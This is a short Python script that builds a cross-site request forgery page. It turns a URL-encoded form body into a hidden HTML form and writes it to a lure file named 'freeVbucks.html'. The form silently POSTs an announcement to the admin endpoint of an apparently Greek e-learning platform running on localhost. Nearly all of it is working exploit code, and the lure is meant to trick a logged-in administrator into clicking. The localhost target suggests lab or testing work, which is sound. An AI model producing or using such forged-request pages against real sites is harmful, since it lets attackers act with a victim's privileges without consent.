from urllib.parse import unquote

#### Change these ####
url = 'http://localhost:8001/modules/admin/adminannouncements.php?localize=el'
form = f'visible=1&title=hello1&Dialog1=on&Dialog2=on&Dialog3=on&Dialog4=on&Dialog5=on&Dialog6=on&newContent=hello2&comment=hello3&title_en=hello4&Dialog11=on&Dialog12=on&Dialog13=on&Dialog14=on&Dialog15=on&Dialog16=on&newContent_en=hello5&comment_en=hello6&submitAnnouncement=%CE%A5%CF%80%CE%BF%CE%B2%CE%BF%CE%BB%CE%AE'
######################

form = unquote(form)
form = form.split('&')
args = []
for f in form:
    a = f.split('=')
    args.append(tuple(a))

f = open("freeVbucks.html", 'w')

f.write(f'<form enctype = "application/x-www-form-urlencoded" method = "POST" action = "{url}" >')
f.write('<table hidden="true">')

for a in args:
    print(a)
    f.write("<tr>")
    f.write(f"<td>{a[0]}</td>")
    f.write(f'<td><input type="text" value={a[1]} name={a[0]}></td>')
    f.write("</tr>")

f.write('</table>')
f.write('<input class="button" type="submit" value="Click here!">')
f.write("</form>")
print('Done!')

